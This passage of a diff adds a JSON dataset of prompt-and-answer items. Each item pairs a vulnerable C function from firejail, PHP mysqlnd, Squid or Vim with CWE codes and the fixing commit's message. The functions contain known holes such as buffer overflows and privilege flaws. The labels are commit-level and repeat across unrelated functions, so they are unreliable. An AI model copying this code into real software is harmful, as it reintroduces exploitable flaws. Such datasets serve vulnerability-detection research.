0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_DIR, 0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_NETWORK_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_NETWORK_DIR, 0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_BANDWIDTH_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_BANDWIDTH_DIR, 0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_NAME_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_NAME_DIR, 0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_PROFILE_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_PROFILE_DIR, 0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_X11_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_X11_DIR, 0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_DBUS_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_DBUS_DIR, 0755);\n\t\tif (arg_debug)\n\t\t\tprintf(\"Remounting the \" RUN_FIREJAIL_DBUS_DIR\n\t\t\t\t \" directory as noexec\\n\");\n\t\tif (mount(RUN_FIREJAIL_DBUS_DIR, RUN_FIREJAIL_DBUS_DIR, NULL,\n\t\t\t\t MS_BIND, NULL) == -1)\n\t\t\terrExit(\"mounting \" RUN_FIREJAIL_DBUS_DIR);\n\t\tif (mount(NULL, RUN_FIREJAIL_DBUS_DIR, NULL,\n\t\t\t\t MS_REMOUNT | MS_BIND | MS_NOSUID | MS_NOEXEC | MS_NODEV,\n\t\t\t\t \"mode=755,gid=0\") == -1)\n\t\t\terrExit(\"remounting \" RUN_FIREJAIL_DBUS_DIR);\n\t}\n\n\tif (stat(RUN_FIREJAIL_APPIMAGE_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_APPIMAGE_DIR, 0755);\n\t}\n\n\tif (stat(RUN_FIREJAIL_LIB_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_FIREJAIL_LIB_DIR, 0755);\n\t}\n\n\tif (stat(RUN_MNT_DIR, &s)) {\n\t\tcreate_empty_dir_as_root(RUN_MNT_DIR, 0755);\n\t}\n\n\tcreate_empty_file_as_root(RUN_RO_FILE, S_IRUSR);\n\tfs_remount(RUN_RO_FILE, MOUNT_READONLY, 0);\n\n\tcreate_empty_dir_as_root(RUN_RO_DIR, S_IRUSR);\n\tfs_remount(RUN_RO_DIR, MOUNT_READONLY, 0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269', 'CWE-94'], 'message': 'fixing CVE-2022-31214'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void extract_cgroup(pid_t pid) {\n\tchar *fname;\n\tif (asprintf(&fname, \"/proc/%d/root%s\", pid, RUN_CGROUP_CFG) == -1)\n\t\terrExit(\"asprintf\");\n\n\tstruct stat s;\n\tif (stat(fname, &s) == -1) {\n\t\tfree(fname);\n\t\treturn;\n\t}\n\n\t// there is a cgroup file CGROUP_CFG, load it!\n\tload_cgroup(fname);\n\tfree(fname);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269', 'CWE-94'], 'message': 'fixing CVE-2022-31214'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void build_dirs(char *src, char *dst, size_t src_prefix_len, size_t dst_prefix_len) {\n\tchar *p = src + src_prefix_len + 1;\n\tchar *q = dst + dst_prefix_len + 1;\n\tchar *r = dst + dst_prefix_len;\n\tstruct stat s;\n\tbool last = false;\n\t*r = '\\0';\n\tfor (; !last; p++, q++) {\n\t\tif (*p == '\\0') {\n\t\t\tlast = true;\n\t\t}\n\t\tif (*p == '\\0' || (*p == '/' && *(p - 1) != '/')) {\n\t\t\t// We found a new component of our src path.\n\t\t\t// Null-terminate it temporarily here so that we can work\n\t\t\t// with it.\n\t\t\t*p = '\\0';\n\t\t\tif (stat(src, &s) == 0 && S_ISDIR(s.st_mode)) {\n\t\t\t\t// Null-terminate the dst path and undo its previous\n\t\t\t\t// termination.\n\t\t\t\t*q = '\\0';\n\t\t\t\t*r = '/';\n\t\t\t\tr = q;\n\t\t\t\tcreate_empty_dir_as_root(dst, s.st_mode);\n\t\t\t}\n\t\t\tif (!last) {\n\t\t\t\t// If we're not at the final terminating null, restore\n\t\t\t\t// the slash so that we can continue our traversal.\n\t\t\t\t*p = '/';\n\t\t\t}\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269', 'CWE-94'], 'message': 'CVE-2022-31214: fixing the fix'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static size_t\nphp_mysqlnd_change_auth_response_write(MYSQLND_CONN_DATA * conn, void * _packet)\n{\n\tMYSQLND_PACKET_CHANGE_AUTH_RESPONSE *packet= (MYSQLND_PACKET_CHANGE_AUTH_RESPONSE *) _packet;\n\tMYSQLND_ERROR_INFO * error_info = conn->error_info;\n\tMYSQLND_PFC * pfc = conn->protocol_frame_codec;\n\tMYSQLND_VIO * vio = conn->vio;\n\tMYSQLND_STATS * stats = conn->stats;\n\tMYSQLND_CONNECTION_STATE * connection_state = &conn->state;\n\tzend_uchar * const buffer = pfc->cmd_buffer.length >= packet->auth_data_len? pfc->cmd_buffer.buffer : mnd_emalloc(packet->auth_data_len);\n\tzend_uchar * p = buffer + MYSQLND_HEADER_SIZE; /* start after the header */\n\n\tDBG_ENTER(\"php_mysqlnd_change_auth_response_write\");\n\n\tif (packet->auth_data_len) {\n\t\tmemcpy(p, packet->auth_data, packet->auth_data_len);\n\t\tp+= packet->auth_data_len;\n\t}\n\n\t{\n\t\t/*\n\t\t The auth handshake packet has no command in it. Thus we can't go over conn->command directly.\n\t\t Well, we can have a command->no_command(conn, payload)\n\t\t*/\n\t\tconst size_t sent = pfc->data->m.send(pfc, vio, buffer, p - buffer - MYSQLND_HEADER_SIZE, stats, error_info);\n\t\tif (buffer != pfc->cmd_buffer.buffer) {\n\t\t\tmnd_efree(buffer);\n\t\t}\n\t\tif (!sent) {\n\t\t\tSET_CONNECTION_STATE(connection_state, CONN_QUIT_SENT);\n\t\t}\n\t\tDBG_RETURN(sent);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'Fix bug #81719: mysqlnd/pdo password buffer overflow'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: gopherToHTML(GopherStateData * gopherState, char *inbuf, int len)\n{\n char *pos = inbuf;\n char *lpos = NULL;\n char *tline = NULL;\n LOCAL_ARRAY(char, line, TEMP_BUF_SIZE);\n LOCAL_ARRAY(char, tmpbuf, TEMP_BUF_SIZE);\n char *name = NULL;\n char *selector = NULL;\n char *host = NULL;\n char *port = NULL;\n char *escaped_selector = NULL;\n const char *icon_url = NULL;\n char gtype;\n StoreEntry *entry = NULL;\n\n memset(tmpbuf, '\\0', TEMP_BUF_SIZE);\n memset(line, '\\0', TEMP_BUF_SIZE);\n\n entry = gopherState->entry;\n\n if (gopherState->conversion == GopherStateData::HTML_INDEX_PAGE) {\n char *html_url = html_quote(entry->url());\n gopherHTMLHeader(entry, \"Gopher Index %s\", html_url);\n storeAppendPrintf(entry,\n \"

This is a searchable Gopher index. Use the search\\n\"\n \"function of your browser to enter search terms.\\n\"\n \"\\n\");\n gopherHTMLFooter(entry);\n /* now let start sending stuff to client */\n entry->flush();\n gopherState->HTML_header_added = 1;\n\n return;\n }\n\n if (gopherState->conversion == GopherStateData::HTML_CSO_PAGE) {\n char *html_url = html_quote(entry->url());\n gopherHTMLHeader(entry, \"CSO Search of %s\", html_url);\n storeAppendPrintf(entry,\n \"

A CSO database usually contains a phonebook or\\n\"\n \"directory. Use the search function of your browser to enter\\n\"\n \"search terms.

\\n\");\n gopherHTMLFooter(entry);\n /* now let start sending stuff to client */\n entry->flush();\n gopherState->HTML_header_added = 1;\n\n return;\n }\n\n String outbuf;\n\n if (!gopherState->HTML_header_added) {\n if (gopherState->conversion == GopherStateData::HTML_CSO_RESULT)\n gopherHTMLHeader(entry, \"CSO Search Result\", NULL);\n else\n gopherHTMLHeader(entry, \"Gopher Menu\", NULL);\n\n outbuf.append (\"
\");\n\n        gopherState->HTML_header_added = 1;\n\n        gopherState->HTML_pre = 1;\n    }\n\n    while (pos < inbuf + len) {\n        int llen;\n        int left = len - (pos - inbuf);\n        lpos = (char *)memchr(pos, '\\n', left);\n        if (lpos) {\n            ++lpos;             /* Next line is after \\n */\n            llen = lpos - pos;\n        } else {\n            llen = left;\n        }\n        if (gopherState->len + llen >= TEMP_BUF_SIZE) {\n            debugs(10, DBG_IMPORTANT, \"GopherHTML: Buffer overflow. Lost some data on URL: \" << entry->url()  );\n            llen = TEMP_BUF_SIZE - gopherState->len - 1;\n        }\n        if (!lpos) {\n            /* there is no complete line in inbuf */\n            /* copy it to temp buffer */\n            /* note: llen is adjusted above */\n            memcpy(gopherState->buf + gopherState->len, pos, llen);\n            gopherState->len += llen;\n            break;\n        }\n        if (gopherState->len != 0) {\n            /* there is something left from last tx. */\n            memcpy(line, gopherState->buf, gopherState->len);\n            memcpy(line + gopherState->len, pos, llen);\n            llen += gopherState->len;\n            gopherState->len = 0;\n        } else {\n            memcpy(line, pos, llen);\n        }\n        line[llen + 1] = '\\0';\n        /* move input to next line */\n        pos = lpos;\n\n        /* at this point. We should have one line in buffer to process */\n\n        if (*line == '.') {\n            /* skip it */\n            memset(line, '\\0', TEMP_BUF_SIZE);\n            continue;\n        }\n\n        switch (gopherState->conversion) {\n\n        case GopherStateData::HTML_INDEX_RESULT:\n\n        case GopherStateData::HTML_DIR: {\n            tline = line;\n            gtype = *tline;\n            ++tline;\n            name = tline;\n            selector = strchr(tline, TAB);\n\n            if (selector) {\n                *selector = '\\0';\n                ++selector;\n                host = strchr(selector, TAB);\n\n                if (host) {\n                    *host = '\\0';\n                    ++host;\n                    port = strchr(host, TAB);\n\n                    if (port) {\n                        char *junk;\n                        port[0] = ':';\n                        junk = strchr(host, TAB);\n\n                        if (junk)\n                            *junk++ = 0;    /* Chop port */\n                        else {\n                            junk = strchr(host, '\\r');\n\n                            if (junk)\n                                *junk++ = 0;    /* Chop port */\n                            else {\n                                junk = strchr(host, '\\n');\n\n                                if (junk)\n                                    *junk++ = 0;    /* Chop port */\n                            }\n                        }\n\n                        if ((port[1] == '0') && (!port[2]))\n                            port[0] = 0;    /* 0 means none */\n                    }\n\n                    /* escape a selector here */\n                    escaped_selector = xstrdup(rfc1738_escape_part(selector));\n\n                    switch (gtype) {\n\n                    case GOPHER_DIRECTORY:\n                        icon_url = mimeGetIconURL(\"internal-menu\");\n                        break;\n\n                    case GOPHER_HTML:\n\n                    case GOPHER_FILE:\n                        icon_url = mimeGetIconURL(\"internal-text\");\n                        break;\n\n                    case GOPHER_INDEX:\n\n                    case GOPHER_CSO:\n                        icon_url = mimeGetIconURL(\"internal-index\");\n                        break;\n\n                    case GOPHER_IMAGE:\n\n                    case GOPHER_GIF:\n\n                    case GOPHER_PLUS_IMAGE:\n                        icon_url = mimeGetIconURL(\"internal-image\");\n                        break;\n\n                    case GOPHER_SOUND:\n\n                    case GOPHER_PLUS_SOUND:\n                        icon_url = mimeGetIconURL(\"internal-sound\");\n                        break;\n\n                    case GOPHER_PLUS_MOVIE:\n                        icon_url = mimeGetIconURL(\"internal-movie\");\n                        break;\n\n                    case GOPHER_TELNET:\n\n                    case GOPHER_3270:\n                        icon_url = mimeGetIconURL(\"internal-telnet\");\n                        break;\n\n                    case GOPHER_BIN:\n\n                    case GOPHER_MACBINHEX:\n\n                    case GOPHER_DOSBIN:\n\n                    case GOPHER_UUENCODED:\n                        icon_url = mimeGetIconURL(\"internal-binary\");\n                        break;\n\n                    case GOPHER_INFO:\n                        icon_url = NULL;\n                        break;\n\n                    default:\n                        icon_url = mimeGetIconURL(\"internal-unknown\");\n                        break;\n                    }\n\n                    memset(tmpbuf, '\\0', TEMP_BUF_SIZE);\n\n                    if ((gtype == GOPHER_TELNET) || (gtype == GOPHER_3270)) {\n                        if (strlen(escaped_selector) != 0)\n                            snprintf(tmpbuf, TEMP_BUF_SIZE, \" %s\\n\",\n                                     icon_url, escaped_selector, rfc1738_escape_part(host),\n                                     *port ? \":\" : \"\", port, html_quote(name));\n                        else\n                            snprintf(tmpbuf, TEMP_BUF_SIZE, \" %s\\n\",\n                                     icon_url, rfc1738_escape_part(host), *port ? \":\" : \"\",\n                                     port, html_quote(name));\n\n                    } else if (gtype == GOPHER_INFO) {\n                        snprintf(tmpbuf, TEMP_BUF_SIZE, \"\\t%s\\n\", html_quote(name));\n                    } else {\n                        if (strncmp(selector, \"GET /\", 5) == 0) {\n                            /* WWW link */\n                            snprintf(tmpbuf, TEMP_BUF_SIZE, \" %s\\n\",\n                                     icon_url, host, rfc1738_escape_unescaped(selector + 5), html_quote(name));\n                        } else {\n                            /* Standard link */\n                            snprintf(tmpbuf, TEMP_BUF_SIZE, \" %s\\n\",\n                                     icon_url, host, gtype, escaped_selector, html_quote(name));\n                        }\n                    }\n\n                    safe_free(escaped_selector);\n                    outbuf.append(tmpbuf);\n                } else {\n                    memset(line, '\\0', TEMP_BUF_SIZE);\n                    continue;\n                }\n            } else {\n                memset(line, '\\0', TEMP_BUF_SIZE);\n                continue;\n            }\n\n            break;\n            }           /* HTML_DIR, HTML_INDEX_RESULT */\n\n        case GopherStateData::HTML_CSO_RESULT: {\n            if (line[0] == '-') {\n                int code, recno;\n                char *s_code, *s_recno, *result;\n\n                s_code = strtok(line + 1, \":\\n\");\n                s_recno = strtok(NULL, \":\\n\");\n                result = strtok(NULL, \"\\n\");\n\n                if (!result)\n                    break;\n\n                code = atoi(s_code);\n\n                recno = atoi(s_recno);\n\n                if (code != 200)\n                    break;\n\n                if (gopherState->cso_recno != recno) {\n                    snprintf(tmpbuf, TEMP_BUF_SIZE, \"

Record# %d
%s

\\n
\", recno, html_quote(result));\n                    gopherState->cso_recno = recno;\n                } else {\n                    snprintf(tmpbuf, TEMP_BUF_SIZE, \"%s\\n\", html_quote(result));\n                }\n\n                outbuf.append(tmpbuf);\n                break;\n            } else {\n                int code;\n                char *s_code, *result;\n\n                s_code = strtok(line, \":\");\n                result = strtok(NULL, \"\\n\");\n\n                if (!result)\n                    break;\n\n                code = atoi(s_code);\n\n                switch (code) {\n\n                case 200: {\n                    /* OK */\n                    /* Do nothing here */\n                    break;\n                }\n\n                case 102:   /* Number of matches */\n\n                case 501:   /* No Match */\n\n                case 502: { /* Too Many Matches */\n                    /* Print the message the server returns */\n                    snprintf(tmpbuf, TEMP_BUF_SIZE, \"

%s

\\n
\", html_quote(result));\n                    outbuf.append(tmpbuf);\n                    break;\n                }\n\n                }\n            }\n\n            }           /* HTML_CSO_RESULT */\n\n        default:\n            break;      /* do nothing */\n\n        }           /* switch */\n\n    }               /* while loop */\n\n    if (outbuf.size() > 0) {\n        entry->append(outbuf.rawBuf(), outbuf.size());\n        /* now let start sending stuff to client */\n        entry->flush();\n    }\n\n    outbuf.clean();\n    return;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-400'], 'message': 'Improve handling of Gopher responses (#1022)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ins_bs(\n    int\t\tc,\n    int\t\tmode,\n    int\t\t*inserted_space_p)\n{\n    linenr_T\tlnum;\n    int\t\tcc;\n    int\t\ttemp = 0;\t    // init for GCC\n    colnr_T\tsave_col;\n    colnr_T\tmincol;\n    int\t\tdid_backspace = FALSE;\n    int\t\tin_indent;\n    int\t\toldState;\n    int\t\tcpc[MAX_MCO];\t    // composing characters\n    int\t\tcall_fix_indent = FALSE;\n\n    /*\n     * can't delete anything in an empty file\n     * can't backup past first character in buffer\n     * can't backup past starting point unless 'backspace' > 1\n     * can backup to a previous line if 'backspace' == 0\n     */\n    if (       BUFEMPTY()\n\t    || (\n#ifdef FEAT_RIGHTLEFT\n\t\t!revins_on &&\n#endif\n\t\t((curwin->w_cursor.lnum == 1 && curwin->w_cursor.col == 0)\n\t\t    || (!can_bs(BS_START)\n\t\t\t&& ((arrow_used\n#ifdef FEAT_JOB_CHANNEL\n\t\t\t\t&& !bt_prompt(curbuf)\n#endif\n\t\t\t) || (curwin->w_cursor.lnum == Insstart_orig.lnum\n\t\t\t\t&& curwin->w_cursor.col <= Insstart_orig.col)))\n\t\t    || (!can_bs(BS_INDENT) && !arrow_used && ai_col > 0\n\t\t\t\t\t && curwin->w_cursor.col <= ai_col)\n\t\t    || (!can_bs(BS_EOL) && curwin->w_cursor.col == 0))))\n    {\n\tvim_beep(BO_BS);\n\treturn FALSE;\n    }\n\n    if (stop_arrow() == FAIL)\n\treturn FALSE;\n    in_indent = inindent(0);\n    if (in_indent)\n\tcan_cindent = FALSE;\n    end_comment_pending = NUL;\t// After BS, don't auto-end comment\n#ifdef FEAT_RIGHTLEFT\n    if (revins_on)\t    // put cursor after last inserted char\n\tinc_cursor();\n#endif\n\n    // Virtualedit:\n    //\tBACKSPACE_CHAR eats a virtual space\n    //\tBACKSPACE_WORD eats all coladd\n    //\tBACKSPACE_LINE eats all coladd and keeps going\n    if (curwin->w_cursor.coladd > 0)\n    {\n\tif (mode == BACKSPACE_CHAR)\n\t{\n\t    --curwin->w_cursor.coladd;\n\t    return TRUE;\n\t}\n\tif (mode == BACKSPACE_WORD)\n\t{\n\t    curwin->w_cursor.coladd = 0;\n\t    return TRUE;\n\t}\n\tcurwin->w_cursor.coladd = 0;\n    }\n\n    /*\n     * Delete newline!\n     */\n    if (curwin->w_cursor.col == 0)\n    {\n\tlnum = Insstart.lnum;\n\tif (curwin->w_cursor.lnum == lnum\n#ifdef FEAT_RIGHTLEFT\n\t\t\t|| revins_on\n#endif\n\t\t\t\t    )\n\t{\n\t    if (u_save((linenr_T)(curwin->w_cursor.lnum - 2),\n\t\t\t       (linenr_T)(curwin->w_cursor.lnum + 1)) == FAIL)\n\t\treturn FALSE;\n\t    --Insstart.lnum;\n\t    Insstart.col = (colnr_T)STRLEN(ml_get(Insstart.lnum));\n\t}\n\t/*\n\t * In replace mode:\n\t * cc < 0: NL was inserted, delete it\n\t * cc >= 0: NL was replaced, put original characters back\n\t */\n\tcc = -1;\n\tif (State & REPLACE_FLAG)\n\t    cc = replace_pop();\t    // returns -1 if NL was inserted\n\t/*\n\t * In replace mode, in the line we started replacing, we only move the\n\t * cursor.\n\t */\n\tif ((State & REPLACE_FLAG) && curwin->w_cursor.lnum <= lnum)\n\t{\n\t    dec_cursor();\n\t}\n\telse\n\t{\n\t    if (!(State & VREPLACE_FLAG)\n\t\t\t\t   || curwin->w_cursor.lnum > orig_line_count)\n\t    {\n\t\ttemp = gchar_cursor();\t// remember current char\n\t\t--curwin->w_cursor.lnum;\n\n\t\t// When \"aw\" is in 'formatoptions' we must delete the space at\n\t\t// the end of the line, otherwise the line will be broken\n\t\t// again when auto-formatting.\n\t\tif (has_format_option(FO_AUTO)\n\t\t\t\t\t   && has_format_option(FO_WHITE_PAR))\n\t\t{\n\t\t    char_u  *ptr = ml_get_buf(curbuf, curwin->w_cursor.lnum,\n\t\t\t\t\t\t\t\t\tTRUE);\n\t\t    int\t    len;\n\n\t\t    len = (int)STRLEN(ptr);\n\t\t    if (len > 0 && ptr[len - 1] == ' ')\n\t\t\tptr[len - 1] = NUL;\n\t\t}\n\n\t\t(void)do_join(2, FALSE, FALSE, FALSE, FALSE);\n\t\tif (temp == NUL && gchar_cursor() != NUL)\n\t\t    inc_cursor();\n\t    }\n\t    else\n\t\tdec_cursor();\n\n\t    /*\n\t     * In MODE_REPLACE mode we have to put back the text that was\n\t     * replaced by the NL. On the replace stack is first a\n\t     * NUL-terminated sequence of characters that were deleted and then\n\t     * the characters that NL replaced.\n\t     */\n\t    if (State & REPLACE_FLAG)\n\t    {\n\t\t/*\n\t\t * Do the next ins_char() in MODE_NORMAL state, to\n\t\t * prevent ins_char() from replacing characters and\n\t\t * avoiding showmatch().\n\t\t */\n\t\toldState = State;\n\t\tState = MODE_NORMAL;\n\t\t/*\n\t\t * restore characters (blanks) deleted after cursor\n\t\t */\n\t\twhile (cc > 0)\n\t\t{\n\t\t    save_col = curwin->w_cursor.col;\n\t\t    mb_replace_pop_ins(cc);\n\t\t    curwin->w_cursor.col = save_col;\n\t\t    cc = replace_pop();\n\t\t}\n\t\t// restore the characters that NL replaced\n\t\treplace_pop_ins();\n\t\tState = oldState;\n\t    }\n\t}\n\tdid_ai = FALSE;\n    }\n    else\n    {\n\t/*\n\t * Delete character(s) before the cursor.\n\t */\n#ifdef FEAT_RIGHTLEFT\n\tif (revins_on)\t\t// put cursor on last inserted char\n\t    dec_cursor();\n#endif\n\tmincol = 0;\n\t\t\t\t\t\t// keep indent\n\tif (mode == BACKSPACE_LINE\n\t\t&& (curbuf->b_p_ai || cindent_on())\n#ifdef FEAT_RIGHTLEFT\n\t\t&& !revins_on\n#endif\n\t\t\t    )\n\t{\n\t    save_col = curwin->w_cursor.col;\n\t    beginline(BL_WHITE);\n\t    if (curwin->w_cursor.col < save_col)\n\t    {\n\t\tmincol = curwin->w_cursor.col;\n\t\t// should now fix the indent to match with the previous line\n\t\tcall_fix_indent = TRUE;\n\t    }\n\t    curwin->w_cursor.col = save_col;\n\t}\n\n\t/*\n\t * Handle deleting one 'shiftwidth' or 'softtabstop'.\n\t */\n\tif (\t   mode == BACKSPACE_CHAR\n\t\t&& ((p_sta && in_indent)\n\t\t    || ((get_sts_value() != 0\n#ifdef FEAT_VARTABS\n\t\t\t|| tabstop_count(curbuf->b_p_vsts_array)\n#endif\n\t\t\t)\n\t\t\t&& curwin->w_cursor.col > 0\n\t\t\t&& (*(ml_get_cursor() - 1) == TAB\n\t\t\t    || (*(ml_get_cursor() - 1) == ' '\n\t\t\t\t&& (!*inserted_space_p\n\t\t\t\t    || arrow_used))))))\n\t{\n\t    int\t\tts;\n\t    colnr_T\tvcol;\n\t    colnr_T\twant_vcol;\n\t    colnr_T\tstart_vcol;\n\n\t    *inserted_space_p = FALSE;\n\t    // Compute the virtual column where we want to be.  Since\n\t    // 'showbreak' may get in the way, need to get the last column of\n\t    // the previous character.\n\t    getvcol(curwin, &curwin->w_cursor, &vcol, NULL, NULL);\n\t    start_vcol = vcol;\n\t    dec_cursor();\n\t    getvcol(curwin, &curwin->w_cursor, NULL, NULL, &want_vcol);\n\t    inc_cursor();\n#ifdef FEAT_VARTABS\n\t    if (p_sta && in_indent)\n\t    {\n\t\tts = (int)get_sw_value(curbuf);\n\t\twant_vcol = (want_vcol / ts) * ts;\n\t    }\n\t    else\n\t\twant_vcol = tabstop_start(want_vcol, get_sts_value(),\n\t\t\t\t\t\t       curbuf->b_p_vsts_array);\n#else\n\t    if (p_sta && in_indent)\n\t\tts = (int)get_sw_value(curbuf);\n\t    else\n\t\tts = (int)get_sts_value();\n\t    want_vcol = (want_vcol / ts) * ts;\n#endif\n\n\t    // delete characters until we are at or before want_vcol\n\t    while (vcol > want_vcol\n\t\t    && (cc = *(ml_get_cursor() - 1), VIM_ISWHITE(cc)))\n\t\tins_bs_one(&vcol);\n\n\t    // insert extra spaces until we are at want_vcol\n\t    while (vcol < want_vcol)\n\t    {\n\t\t// Remember the first char we inserted\n\t\tif (curwin->w_cursor.lnum == Insstart_orig.lnum\n\t\t\t\t   && curwin->w_cursor.col < Insstart_orig.col)\n\t\t    Insstart_orig.col = curwin->w_cursor.col;\n\n\t\tif (State & VREPLACE_FLAG)\n\t\t    ins_char(' ');\n\t\telse\n\t\t{\n\t\t    ins_str((char_u *)\" \");\n\t\t    if ((State & REPLACE_FLAG))\n\t\t\treplace_push(NUL);\n\t\t}\n\t\tgetvcol(curwin, &curwin->w_cursor, &vcol, NULL, NULL);\n\t    }\n\n\t    // If we are now back where we started delete one character.  Can\n\t    // happen when using 'sts' and 'linebreak'.\n\t    if (vcol >= start_vcol)\n\t\tins_bs_one(&vcol);\n\t}\n\n\t/*\n\t * Delete up to starting point, start of line or previous word.\n\t */\n\telse\n\t{\n\t    int cclass = 0, prev_cclass = 0;\n\n\t    if (has_mbyte)\n\t\tcclass = mb_get_class(ml_get_cursor());\n\t    do\n\t    {\n#ifdef FEAT_RIGHTLEFT\n\t\tif (!revins_on) // put cursor on char to be deleted\n#endif\n\t\t    dec_cursor();\n\n\t\tcc = gchar_cursor();\n\t\t// look multi-byte character class\n\t\tif (has_mbyte)\n\t\t{\n\t\t    prev_cclass = cclass;\n\t\t    cclass = mb_get_class(ml_get_cursor());\n\t\t}\n\n\t\t// start of word?\n\t\tif (mode == BACKSPACE_WORD && !vim_isspace(cc))\n\t\t{\n\t\t    mode = BACKSPACE_WORD_NOT_SPACE;\n\t\t    temp = vim_iswordc(cc);\n\t\t}\n\t\t// end of word?\n\t\telse if (mode == BACKSPACE_WORD_NOT_SPACE\n\t\t\t&& ((vim_isspace(cc) || vim_iswordc(cc) != temp)\n\t\t\t|| prev_cclass != cclass))\n\t\t{\n#ifdef FEAT_RIGHTLEFT\n\t\t    if (!revins_on)\n#endif\n\t\t\tinc_cursor();\n#ifdef FEAT_RIGHTLEFT\n\t\t    else if (State & REPLACE_FLAG)\n\t\t\tdec_cursor();\n#endif\n\t\t    break;\n\t\t}\n\t\tif (State & REPLACE_FLAG)\n\t\t    replace_do_bs(-1);\n\t\telse\n\t\t{\n\t\t    if (enc_utf8 && p_deco)\n\t\t\t(void)utfc_ptr2char(ml_get_cursor(), cpc);\n\t\t    (void)del_char(FALSE);\n\t\t    /*\n\t\t     * If there are combining characters and 'delcombine' is set\n\t\t     * move the cursor back.  Don't back up before the base\n\t\t     * character.\n\t\t     */\n\t\t    if (enc_utf8 && p_deco && cpc[0] != NUL)\n\t\t\tinc_cursor();\n#ifdef FEAT_RIGHTLEFT\n\t\t    if (revins_chars)\n\t\t    {\n\t\t\trevins_chars--;\n\t\t\trevins_legal++;\n\t\t    }\n\t\t    if (revins_on && gchar_cursor() == NUL)\n\t\t\tbreak;\n#endif\n\t\t}\n\t\t// Just a single backspace?:\n\t\tif (mode == BACKSPACE_CHAR)\n\t\t    break;\n\t    } while (\n#ifdef FEAT_RIGHTLEFT\n\t\t    revins_on ||\n#endif\n\t\t    (curwin->w_cursor.col > mincol\n\t\t    &&  (can_bs(BS_NOSTOP)\n\t\t\t|| (curwin->w_cursor.lnum != Insstart_orig.lnum\n\t\t\t|| curwin->w_cursor.col != Insstart_orig.col)\n\t\t    )));\n\t}\n\tdid_backspace = TRUE;\n    }\n    did_si = FALSE;\n    can_si = FALSE;\n    can_si_back = FALSE;\n    if (curwin->w_cursor.col <= 1)\n\tdid_ai = FALSE;\n\n    if (call_fix_indent)\n\tfix_indent();\n\n    /*\n     * It's a little strange to put backspaces into the redo\n     * buffer, but it makes auto-indent a lot easier to deal\n     * with.\n     */\n    AppendCharToRedobuff(c);\n\n    // If deleted before the insertion point, adjust it\n    if (curwin->w_cursor.lnum == Insstart_orig.lnum\n\t\t\t\t  && curwin->w_cursor.col < Insstart_orig.col)\n\tInsstart_orig.col = curwin->w_cursor.col;\n\n    // vi behaviour: the cursor moves backward but the character that\n    //\t\t     was there remains visible\n    // Vim behaviour: the cursor moves backward and the character that\n    //\t\t      was there is erased from the screen.\n    // We can emulate the vi behaviour by pretending there is a dollar\n    // displayed even when there isn't.\n    //  --pkv Sun Jan 19 01:56:40 EST 2003\n    if (vim_strchr(p_cpo, CPO_BACKSPACE) != NULL && dollar_vcol == -1)\n\tdollar_vcol = curwin->w_virtcol;\n\n#ifdef FEAT_FOLDING\n    // When deleting a char the cursor line must never be in a closed fold.\n    // E.g., when 'foldmethod' is indent and deleting the first non-white\n    // char before a Tab.\n    if (did_backspace)\n\tfoldOpenCursor();\n#endif\n\n    return did_backspace;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-122', 'CWE-787'], 'message': 'patch 8.2.5162: reading before the start of the line with BS in Replace mode\n\nProblem:    Reading before the start of the line with BS in Replace mode.\nSolution:   Check the cursor column is more than zero.'"
+  },
+  {
